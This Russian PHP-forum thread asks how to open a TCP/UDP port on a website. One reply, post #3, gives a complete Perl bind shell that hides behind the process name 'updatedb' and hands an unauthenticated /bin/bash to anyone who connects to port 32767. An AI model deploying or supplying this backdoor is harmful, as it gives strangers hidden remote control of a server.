Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > PHP
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 03.07.2011, 21:14   #1
Иллидан
Форумчанин
 
Регистрация: 16.01.2008
Сообщений: 288
По умолчанию открыть порт на сайте

Здравствуйте, не знал в какую тему писать. Можно ли открыть определеyный tcp/ip , udp порт на своем сайте? На каком хостинге для этого сайт должен быть зарегистрирован?
Иллидан вне форума Ответить с цитированием
Старый 04.07.2011, 04:43   #2
Johnatan
Antimoderаtoris
Участник клуба
 
Регистрация: 08.02.2008
Сообщений: 1,251
По умолчанию

Хостинг как минимум должен быть VPS для установки собственного софта. Чтобы открыть порт гуглите "открыть порт на сервере".
98% из тысячи моих постов сделаны в профильном подфоруме. Я не накручиваю свои посты болтанием в "курилке", а ты?
Johnatan вне форума Ответить с цитированием
Старый 04.07.2011, 16:21   #3
frommars
Форумчанин
 
Регистрация: 02.07.2011
Сообщений: 144
По умолчанию

не соглашусь
вот как пример(в 90% случаешь фаервол не разрешит, но думаю ТС'у интересна сама технология как "биндят /bin/bash на определённый порт")
Код:
#!/usr/bin/perl

$port = 32767;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/bash");
}
close X;
}
frommars вне форума Ответить с цитированием
Старый 05.07.2011, 11:11   #4
Никки
Форумчанин Подтвердите свой е-майл
 
Аватар для Никки
 
Регистрация: 20.11.2007
Сообщений: 500
По умолчанию

А Web-sockets не подходят?
Никки вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Открыть порт через 2 аппарата twistms Компьютерное железо 0 29.03.2011 23:30
Открыть порт Seven[up] Работа с сетью в Delphi 0 28.08.2010 12:18
Как открыть порт компьютера? Hichigo Общие вопросы C/C++ 8 27.07.2010 21:57
как программно открыть порт? sum42 Общие вопросы по Java, Java SE, Kotlin 7 23.01.2010 16:09
Как открыть порт? Анатолий74Rfckb Работа с сетью в Delphi 5 04.02.2007 19:38